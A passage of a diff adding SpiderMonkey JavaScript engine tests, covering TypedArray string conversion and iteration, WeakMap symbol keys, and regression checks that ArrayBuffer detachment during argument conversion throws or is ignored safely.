+ "use strict";
+
+ // Ensure this-value is not boxed.
+ assertEq(typeof this, "number");
+
+ // Test ToString is applied.
+ return {
+ valueOf: () => {
+ throw new Error("valueOf called");
+ },
+ toString: () => {
+ return this + 10;
+ }
+ };
+ };
+ let typedArray = new constructor([1, 2]);
+ assertEq(typedArray.toLocaleString(), "11" + localeSep + "12");
+}
+Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+// Calls Number.prototype.toLocaleString from the current Realm.
+const otherGlobal = newGlobal();
+for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ "use strict";
+ called = true;
+ return this;
+ };
+ let typedArray = new otherGlobal[constructor.name]([1]);
+ let called = false;
+ assertEq(TypedArrayPrototype.toLocaleString.call(typedArray), "1");
+ assertEq(called, true);
+}
+Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/toString.js b/js/src/tests/ecma_6/TypedArray/toString.js
new file mode 100644
index 000000000..0879b8b31
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/toString.js
@@ -0,0 +1,69 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "toString" property.
+assertEq(TypedArrayPrototype.hasOwnProperty("toString"), true);
+
+// The initial value of %TypedArrayPrototype%.toString is Array.prototype.toString.
+assertEq(TypedArrayPrototype.toString, Array.prototype.toString);
+
+// The concrete TypedArray prototypes do not have an own "toString" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("toString")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "toString"), {
+ value: TypedArrayPrototype.toString,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+for (let constructor of anyTypedArrayConstructors) {
+ assertEq(new constructor([]).toString(), "");
+ assertEq(new constructor([1]).toString(), "1");
+ assertEq(new constructor([1, 2]).toString(), "1,2");
+}
+
+const testCases = {
+ [Int8Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Int16Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Int32Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Uint8Array.name]: {
+ array: [255, 2, 3, 4, NaN],
+ expected: "255,2,3,4,0",
+ },
+ [Uint16Array.name]: {
+ array: [-1, 2, 3, 4, NaN],
+ expected: "65535,2,3,4,0",
+ },
+ [Uint32Array.name]: {
+ array: [-1, 2, 3, 4, NaN],
+ expected: "4294967295,2,3,4,0",
+ },
+ [Uint8ClampedArray.name]: {
+ array: [255, 256, 2, 3, 4, NaN],
+ expected: "255,255,2,3,4,0",
+ },
+ [Float32Array.name]: {
+ array: [-0, 0, 0.5, -0.5, NaN, Infinity, -Infinity],
+ expected: "0,0,0.5,-0.5,NaN,Infinity,-Infinity",
+ },
+ [Float64Array.name]: {
+ array: [-0, 0, 0.5, -0.5, NaN, Infinity, -Infinity],
+ expected: "0,0,0.5,-0.5,NaN,Infinity,-Infinity",
+ },
+};
+for (let constructor of anyTypedArrayConstructors) {
+ let {array, expected} = testCases[constructor.name];
+ assertEq(new constructor(array).toString(), expected);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/uint8clamped-constructor.js b/js/src/tests/ecma_6/TypedArray/uint8clamped-constructor.js
new file mode 100644
index 000000000..3eefe70f1
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/uint8clamped-constructor.js
@@ -0,0 +1,9 @@
+for (var v of [-300, 255.6, 300, 3.5, -3.9]) {
+ var a = new Uint8ClampedArray([v]);
+ var b = new Uint8ClampedArray(1);
+ b[0] = v;
+
+ assertEq(a[0], b[0]);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/values.js b/js/src/tests/ecma_6/TypedArray/values.js
new file mode 100644
index 000000000..bf486bfa0
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/values.js
@@ -0,0 +1,37 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.values.length, 0);
+ assertEq(constructor.prototype.values.name, "values");
+ assertEq(constructor.prototype.values, constructor.prototype[Symbol.iterator]);
+
+ assertDeepEq([...new constructor(0).values()], []);
+ assertDeepEq([...new constructor(1).values()], [0]);
+ assertDeepEq([...new constructor(2).values()], [0, 0]);
+ assertDeepEq([...new constructor([15]).values()], [15]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.values();
+ assertDeepEq(iterator.next(), {value: 1, done: false});
+ assertDeepEq(iterator.next(), {value: 2, done: false});
+ assertDeepEq(iterator.next(), {value: 3, done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var values = newGlobal()[constructor.name].prototype.values;
+ assertDeepEq([...values.call(new constructor([42, 36]))], [42, 36]);
+ arr = new (newGlobal()[constructor.name])([42, 36]);
+ assertEq([...constructor.prototype.values.call(arr)].toString(), "42,36");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.values.call(invalidReceiver);
+ }, TypeError, "Assert that values fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/WeakMap/browser.js b/js/src/tests/ecma_6/WeakMap/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/WeakMap/browser.js
diff --git a/js/src/tests/ecma_6/WeakMap/shell.js b/js/src/tests/ecma_6/WeakMap/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/WeakMap/shell.js
diff --git a/js/src/tests/ecma_6/WeakMap/symbols.js b/js/src/tests/ecma_6/WeakMap/symbols.js
new file mode 100644
index 000000000..68d6518f2
--- /dev/null
+++ b/js/src/tests/ecma_6/WeakMap/symbols.js
@@ -0,0 +1,10 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols can't be WeakMap keys.
+var m = new WeakMap;
+var sym = Symbol();
+assertThrowsInstanceOf(() => m.set(sym, 0), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/browser.js b/js/src/tests/ecma_6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/browser.js
diff --git a/js/src/tests/ecma_6/extensions/ArrayBuffer-slice-arguments-detaching.js b/js/src/tests/ecma_6/extensions/ArrayBuffer-slice-arguments-detaching.js
new file mode 100644
index 000000000..1ff5c1ad5
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/ArrayBuffer-slice-arguments-detaching.js
@@ -0,0 +1,81 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "ArrayBuffer-slice-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "ArrayBuffer.prototype.slice shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the ArrayBuffer being sliced";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testStart()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ ab.slice(start);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testStart();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x1000;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ ab.slice(0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteLength weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteLength weirdness");
+}
+testEnd();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/DataView-construct-arguments-detaching.js b/js/src/tests/ecma_6/extensions/DataView-construct-arguments-detaching.js
new file mode 100644
index 000000000..14659f1d2
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/DataView-construct-arguments-detaching.js
@@ -0,0 +1,81 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "DataView-construct-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "new DataView(...) shouldn't misbehave horribly if index-argument " +
+ "conversion detaches the ArrayBuffer to be viewed";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testByteOffset()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ new DataView(ab, start);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteOffset weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteOffset weirdness");
+}
+testByteOffset();
+
+function testByteLength()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var len =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ new DataView(ab, 0x800, len);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteLength weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteLength weirdness");
+}
+testByteLength();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/DataView-set-arguments-detaching.js b/js/src/tests/ecma_6/extensions/DataView-set-arguments-detaching.js
new file mode 100644
index 000000000..b05ec480d
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/DataView-set-arguments-detaching.js
@@ -0,0 +1,85 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "DataView-set-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "DataView.prototype.set* methods shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the ArrayBuffer being modified";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testIndex()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var dv = new DataView(ab);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0xFFF;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ dv.setUint8(start, 0x42);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "should have thrown");
+ assertEq(ab.byteLength, 0, "should have been detached correctly");
+}
+testIndex();
+
+function testValue()
+{
+ var ab = new ArrayBuffer(0x100000);
+
+ var dv = new DataView(ab);
+
+ var value =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x42;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ dv.setUint8(0xFFFFF, value);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "should have thrown");
+ assertEq(ab.byteLength, 0, "should have been detached correctly");
+}
+testValue();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/RegExp-replace-lastParen.js b/js/src/tests/ecma_6/extensions/RegExp-replace-lastParen.js
new file mode 100644
index 000000000..d06bfe7cd
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/RegExp-replace-lastParen.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 1263118;
+var summary = "RegExp.prototype[@@replace] with non-standard $+ substitution.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(/(a)(b)(c)/[Symbol.replace]("abc", "[$+]"), "[c]");
+assertEq(/(a)(b)c/[Symbol.replace]("abc", "[$+]"), "[b]");
+assertEq(/(a)bc/[Symbol.replace]("abc", "[$+]"), "[a]");
+assertEq(/abc/[Symbol.replace]("abc", "[$+]"), "[]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/extensions/String-match-flags.js b/js/src/tests/ecma_6/extensions/String-match-flags.js
new file mode 100644
index 000000000..b1a382fdf
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/String-match-flags.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1263139;
+var summary = "String.prototype.match with non-string non-standard flags argument.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called;
+var flags = {
+ toString() {
+ called = true;
+ return "";
+ }
+};
+
+called = false;
+"a".match("a", flags);
+assertEq(called, false);
+
+called = false;
+"a".search("a", flags);
+assertEq(called, false);
+
+called = false;
+"a".replace("a", "b", flags);
+assertEq(called, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/extensions/TypedArray-set-object-funky-length-detaches.js b/js/src/tests/ecma_6/extensions/TypedArray-set-object-funky-length-detaches.js
new file mode 100644
index 000000000..7379bf9a4
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/TypedArray-set-object-funky-length-detaches.js
@@ -0,0 +1,66 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "set-object-funky-length-detaches.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray%.prototype.set(object w/funky length property, offset) " +
+ "shouldn't misbehave if the funky length property detaches this typed " +
+ "array's buffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ctors = [Int8Array, Uint8Array, Uint8ClampedArray,
+ Int16Array, Uint16Array,
+ Int32Array, Uint32Array,
+ Float32Array, Float64Array];
+ctors.forEach(function(TypedArray) {
+ var buf = new ArrayBuffer(512 * 1024);
+ var ta = new TypedArray(buf);
+
+ var arraylike =
+ {
+ 0: 17,
+ 1: 42,
+ 2: 3,
+ 3: 99,
+ 4: 37,
+ 5: 9,
+ 6: 72,
+ 7: 31,
+ 8: 22,
+ 9: 0,
+ get length()
+ {
+ detachArrayBuffer(buf);
+ return 10;
+ }
+ };
+
+ var passed = false;
+ try
+ {
+ ta.set(arraylike, 0x1234);
+ }
+ catch (e)
+ {
+ passed = true;
+ }
+
+ assertEq(passed, true);
+});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/TypedArray-subarray-arguments-detaching.js b/js/src/tests/ecma_6/extensions/TypedArray-subarray-arguments-detaching.js
new file mode 100644
index 000000000..a6349657c
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/TypedArray-subarray-arguments-detaching.js
@@ -0,0 +1,112 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "TypedArray-subarray-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray.prototype.subarray shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the underlying ArrayBuffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testBegin()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(begin);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBegin();
+
+function testBeginWithEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(begin, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBeginWithEnd();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x1000;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testEnd();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/array-isArray-proxy-recursion.js b/js/src/tests/ecma_6/extensions/array-isArray-proxy-recursion.js
new file mode 100644
index 000000000..ca2907a99
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/array-isArray-proxy-recursion.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1282047;
+var summary = 'Infinite recursion via Array.isArray on a proxy';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxy = Proxy.revocable([], {}).proxy;
+
+// A depth of 100000 ought to be enough for any platform to consume its entire
+// stack, hopefully without making any recalcitrant platforms time out. If no
+// timeout happens, the assertEq checks for the proper expected value.
+for (var i = 0; i < 1e5; i++)
+ proxy = new Proxy(proxy, {});
+
+try
+{
+ assertEq(Array.isArray(proxy), true);
+
+ // If we reach here, it's cool, we just didn't consume the entire stack.
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/browser.js b/js/src/tests/ecma_6/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/browser.js
diff --git a/js/src/tests/ecma_6/extensions/element-setting-ToNumber-detaches.js b/js/src/tests/ecma_6/extensions/element-setting-ToNumber-detaches.js
new file mode 100644
index 000000000..82e0c0d87
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/element-setting-ToNumber-detaches.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+"use strict"; // make test fail when limitation below is fixed
+
+var gTestfile = 'element-setting-ToNumber-detaches.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1001547;
+var summary =
+ "Don't assert assigning into memory detached while converting the value to " +
+ "assign into a number";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Technically per current spec the element-sets should throw in strict mode,
+// but we just silently do nothing for now, somewhat due to limitations of our
+// internal MOP (which can't easily say "try this special behavior, else fall
+// back on normal logic"), somewhat because it's consistent with current
+// behavior (as of this test's addition) for out-of-bounds sets.
+
+var ab = new ArrayBuffer(64);
+var ta = new Uint32Array(ab);
+ta[4] = { valueOf() { detachArrayBuffer(ab); return 5; } };
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js b/js/src/tests/ecma_6/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js
new file mode 100644
index 000000000..9f6fd6467
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js
@@ -0,0 +1,130 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile =
+ "for-loop-with-lexical-declaration-and-nested-function-statement.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1149797;
+var summary =
+ "Don't assert when freshening the scope chain for a for-loop whose head " +
+ "contains a lexical declaration, where the loop body might add more " +
+ "bindings at runtime";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let x = 0; x < 9; ++x) {
+ function q1() {}
+}
+
+{
+ for (let x = 0; x < 9; ++x) {
+ function q2() {}
+ }
+}
+
+function f1()
+{
+ for (let x = 0; x < 9; ++x) {
+ function q3() {}
+ }
+}
+f1();
+
+function f2()
+{
+ {
+ for (let x = 0; x < 9; ++x) {
+ function q4() {}
+ }
+ }
+}
+f2();
+
+for (let x = 0; x < 9; ++x)
+{
+ // deliberately inside a block statement
+ function q5() {}
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q6() {}
+ }
+}
+
+function g1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q7() {}
+ }
+}
+g1();
+
+function g2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q8() {}
+ }
+ }
+}
+g2();
+
+for (let x = 0; x < 9; ++x) {
+ (function() {
+ eval("function q9() {}");
+ })();
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("function q10() {}");
+ })();
+ }
+}
+
+function h1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("function q11() {}");
+ })();
+ }
+}
+h1();
+
+function h2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() { eval("function q12() {}"); })();
+ }
+ }
+}
+h2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/keyword-unescaped-requirement-modules.js b/js/src/tests/ecma_6/extensions/keyword-unescaped-requirement-modules.js
new file mode 100644
index 000000000..260948cfe
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/keyword-unescaped-requirement-modules.js
@@ -0,0 +1,99 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var badModules =
+ [
+ "\\u0069mport f from 'g'",
+ "i\\u006dport g from 'h'",
+ "import * \\u0061s foo",
+ "import {} fro\\u006d 'bar'",
+ "import { x \\u0061s y } from 'baz'",
+
+ "\\u0065xport function f() {}",
+ "e\\u0078port function g() {}",
+ "export * fro\\u006d 'fnord'",
+ "export d\\u0065fault var x = 3;",
+ "export { q } fro\\u006d 'qSupplier';",
+
+ ];
+
+if (typeof parseModule === "function")
+{
+ for (var module of badModules)
+ {
+ assertThrowsInstanceOf(() => parseModule(module), SyntaxError,
+ "bad behavior for: " + module);
+ }
+}
+
+if (typeof Reflect.parse === "function")
+{
+ var twoStatementAST =
+ Reflect.parse(`let x = 0;
+ export { x } /* ASI should trigger here */
+ fro\\u006D`,
+ { target: "module" });
+
+ var statements = twoStatementAST.body;
+ assertEq(statements.length, 3,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "VariableDeclaration");
+ assertEq(statements[1].type, "ExportDeclaration");
+ assertEq(statements[2].type, "ExpressionStatement");
+ assertEq(statements[2].expression.name, "from");
+
+ var oneStatementAST =
+ Reflect.parse(`export { x } /* no ASI here */
+ from 'foo'`,
+ { target: "module" });
+
+ assertEq(oneStatementAST.body.length, 1);
+ assertEq(oneStatementAST.body[0].type, "ExportDeclaration");
+
+ twoStatementAST =
+ Reflect.parse(`export { x } from "bar"
+ /bar/g`,
+ { target: "module" });
+
+ statements = twoStatementAST.body;
+ assertEq(statements.length, 2,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "ExportDeclaration");
+ assertEq(statements[1].type, "ExpressionStatement");
+ assertEq(statements[1].expression.type, "Literal");
+ assertEq(statements[1].expression.value.toString(), "/bar/g");
+
+ twoStatementAST =
+ Reflect.parse(`export * from "bar"
+ /bar/g`,
+ { target: "module" });
+
+ statements = twoStatementAST.body;
+ assertEq(statements.length, 2,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "ExportDeclaration");
+ assertEq(statements[1].type, "ExpressionStatement");
+ assertEq(statements[1].expression.type, "Literal");
+ assertEq(statements[1].expression.value.toString(), "/bar/g");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/keyword-unescaped-requirement.js b/js/src/tests/ecma_6/extensions/keyword-unescaped-requirement.js
new file mode 100644
index 000000000..20d3555e3
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/keyword-unescaped-requirement.js
@@ -0,0 +1,43 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var randomExtensions =
+ [
+ "for \\u0065ach (var x in []);",
+ "for e\\u0061ch (var x in []);",
+ "[0 for \\u0065ach (var x in [])]",
+ "[0 for e\\u0061ch (var x in [])]",
+ "(0 for \\u0065ach (var x in []))",
+ "(0 for e\\u0061ch (var x in []))",
+
+ // Soon to be not an extension, maybe...
+ "(for (x \\u006ff [1]) x)",
+ "(for (x o\\u0066 [1]) x)",
+ ];
+
+for (var extension of randomExtensions)
+{
+ assertThrowsInstanceOf(() => Function(extension), SyntaxError,
+ "bad behavior for: " + extension);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/new-cross-compartment.js b/js/src/tests/ecma_6/extensions/new-cross-compartment.js
new file mode 100644
index 000000000..5df437520
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/new-cross-compartment.js
@@ -0,0 +1,42 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1178653;
+var summary =
+ "|new| on a cross-compartment wrapper to a non-constructor shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var g = newGlobal();
+
+var otherStr = new g.String("foo");
+assertEq(otherStr instanceof g.String, true);
+assertEq(otherStr.valueOf(), "foo");
+
+// THIS IS WRONG. |new| itself should throw if !IsConstructor(constructor),
+// meaning this global's TypeError should be used. The problem ultimately is
+// that wrappers conflate callable/constructible, so any old function from
+// another global appears to be both. Somebody fix bug XXXXXX!
+try
+{
+ var constructor = g.parseInt;
+ new constructor();
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof g.TypeError, true,
+ "THIS REALLY SHOULD BE |e instanceof TypeError|");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js b/js/src/tests/ecma_6/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js
new file mode 100644
index 000000000..0ec0b493e
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js
